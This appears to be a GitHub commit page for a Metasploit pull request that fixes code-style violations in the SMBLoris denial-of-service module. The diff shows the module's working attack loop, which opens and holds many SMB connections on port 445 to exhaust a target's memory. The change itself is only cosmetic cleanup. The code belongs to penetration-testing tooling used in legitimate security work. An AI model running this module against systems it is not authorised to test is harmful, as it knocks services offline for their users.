Skip to content

Commit ccced2c

Browse files
authored
Merge pull request #20190 from bcoles/rubocop-modules-auxiliary-dos-smb-smb_loris
modules/auxiliary/dos/smb/smb_loris: Resolve RuboCop violations
2 parents 00cc93f + 17f9038 commit ccced2c

File tree

1 file changed

+31
-35
lines changed

1 file changed

+31
-35
lines changed

modules/auxiliary/dos/smb/smb_loris.rb

Lines changed: 31 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -22,23 +22,23 @@ class NbssHeader < BinData::Record
2222
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
2323
and Zach Harding.
2424
25-
DISCALIMER: This module opens a lot of simultaneous connections. Please check
25+
DISCLAIMER: This module opens a lot of simultaneous connections. Please check
2626
your system's ULIMIT to make sure it can handle it. This module will also run
2727
continuously until stopped.
2828
},
2929
authors: [
30-
'thelightcosine',
31-
'Adam Cammack <adam_cammack[at]rapid7.com>'
30+
'thelightcosine',
31+
'Adam Cammack <adam_cammack[at]rapid7.com>'
3232
],
3333
date: '2017-06-29',
3434
references: [
3535
{ type: 'url', ref: 'https://web.archive.org/web/20170804072329/https://smbloris.com/' },
36-
{ type: 'aka', ref: 'SMBLoris'}
36+
{ type: 'aka', ref: 'SMBLoris' }
3737
],
3838
type: 'dos',
3939
options: {
40-
rhost: {type: 'address', description: 'The target address', required: true, default: nil},
41-
rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
40+
rhost: { type: 'address', description: 'The target address', required: true, default: nil },
41+
rport: { type: 'port', description: 'SMB port on the target', required: true, default: 445 }
4242
}
4343
}
4444

@@ -55,39 +55,35 @@ def run(args)
5555

5656
Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "
5757

58-
while true do
59-
begin
60-
sockets.delete_if do |s|
61-
s.closed?
62-
end
58+
loop do
59+
sockets.delete_if(&:closed?)
6360

64-
nsock = target.connect(timeout: 360)
65-
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
66-
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
67-
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
68-
nsock.setsockopt(Socket::Option.linger(true, 60))
69-
nsock.write(header.to_binary_s)
70-
sockets << nsock
61+
nsock = target.connect(timeout: 360)
62+
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
63+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
64+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
65+
nsock.setsockopt(Socket::Option.linger(true, 60))
66+
nsock.write(header.to_binary_s)
67+
sockets << nsock
7168

72-
n_loops += 1
73-
if last_reported != sockets.length
74-
if n_loops % 100 == 0
75-
last_reported = sockets.length
76-
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
77-
end
78-
elsif n_loops % 1000 == 0
79-
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
69+
n_loops += 1
70+
if last_reported != sockets.length
71+
if n_loops % 100 == 0
72+
last_reported = sockets.length
73+
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
8074
end
81-
rescue Interrupt
82-
break
83-
sockets.each &:close
84-
rescue Errno::EMFILE
85-
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned
86-
warned = true
87-
sockets.slice(0).close
88-
rescue Exception => e
89-
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
75+
elsif n_loops % 1000 == 0
76+
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
9077
end
78+
rescue Interrupt
79+
sockets.each(&:close)
80+
break
81+
rescue Errno::EMFILE
82+
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing your system limits.", level: 'warning' unless warned
83+
warned = true
84+
sockets.slice(0).close
85+
rescue StandardError => e
86+
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
9187
end
9288
end
9389

0 commit comments

Comments
 (0)